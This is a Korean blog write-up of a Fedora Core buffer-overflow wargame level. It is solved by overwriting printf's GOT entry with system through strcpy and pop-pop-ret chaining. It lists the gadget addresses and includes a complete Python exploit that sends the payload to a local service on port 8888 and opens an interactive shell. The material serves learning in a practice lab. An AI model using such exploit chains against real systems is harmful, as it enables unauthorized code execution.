문제 소스코드다.

전전 문제와 비슷한 소스구조를 가지고 있고 힌트를 보면 GOT Overwrite다.

이번엔 인자로 받는게 아니라 elf를 실행하면 표준 입력을 받는다. 


이전 문제처럼 got overwrite로 풀어보려고 한다.

전전문제와 다른점은 0xf6ffe000부터 0x1200바이트를 0으로 memset한다.


gdb로 디버깅을 해보니 got overwrite하는 것과 무관해보이니 잘 풀릴 것 같다.

일단 got overwrite할 때 필요한 주소들과 가젯을 찾아본다.


system : 0x7507c0


printf@got : 0x804984c

strcpy@plt : 0x8048438

ppr : 0x80484f3

printf@plt : 0x8048408

/bin/sh : 0x833603

c0 : 0x80483e8+0xc

07 : 0x8048178+0x4

75 : 0x80482b4

00 : 0x8049804

bss : 08049868


이렇게 찾았다.


이번엔 bss영역 주소를 사용할 것이다.

먼저 ppr로 system함수의 주소를 bss영역으로 복사하고,

system함수의 주소가 있는 bss 영역을 다시 printf@got에 덮어쓸 거다.


got overwrite에 대한 자세한 설명은 이전문제와 비슷하니 생략할거다.

이번 문제는 단순 로컬에서 실행하면 root 권한으로 실행할 수 없다.

힌트로 준 8888포트에 nc로 붙으면 로컬에 있는 바이너리가 똑같이 실행된다.

8888포트로 서비스 중인 것을 확인할 수 있다.


이제 페이로드를 작성해 nc로 붙으면 익스가 가능할것이다.


payload

import struct
from socket import *

p = lambda x : struct.pack('<L', x)

printfgot = 0x804984c
#########      printfplt = 0x0804862c ###### printf@plt에 main+308주소를 주면 마지막에 더미값 4바이트를 주지 않고 익스가 가능하다. 왜 그런지는 잘 이해가 안가서 계속 생각중이다.
printfplt = 0x8048408
bbs = 0x08049868
ppr = 0x080484f3
strcpyplt = 0x8048438
binsh = "\x03\x36\x83\x00"

system = [0x80483e8+0xc, 0x8048178+0x4, 0x80482b4, 0x8049804]

payload = "A"*268
payload += p(strcpyplt) + p(ppr) + p(bbs+0) + p(system[0])
payload += p(strcpyplt) + p(ppr) + p(bbs+1) + p(system[1])
payload += p(strcpyplt) + p(ppr) + p(bbs+2) + p(system[2])
payload += p(strcpyplt) + p(ppr) + p(bbs+3) + p(system[3])
payload += p(strcpyplt) + p(ppr) + p(printfgot) + p(bbs)
payload += p(printfplt) + "AAAA" + binsh

host = "localhost"
port = 8888

s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
s.send(payload + "\n")
print s.recv(1024)
while True:
        cmd = raw_input('$ ')
        if cmd == 'exit':
                s.close()
                break
        s.send(cmd + "\n")
        result = s.recv(1024)
        print result
s.close()


익스코드를 돌리니 쉘이 따진다.


ppr 정말 신기하다..


다음 단계로 넘어가니 더이상 문제가 없다고하네.. 올클리어.



'Wargame > FedoraCore BOF' 카테고리의 다른 글

Fedora Core4 cruel -> enigma  (0) 2018.03.01
Fedora Core4 dark_stone -> cruel  (0) 2018.02.25
Fedora Core3 hell_file -> evil_wizard  (0) 2018.02.25
Fedora Core3 dark_eyes -> hell_fire  (0) 2018.02.24
Fedora Core3 iron_golem -> dark_eyes  (0) 2018.02.23

+ Recent posts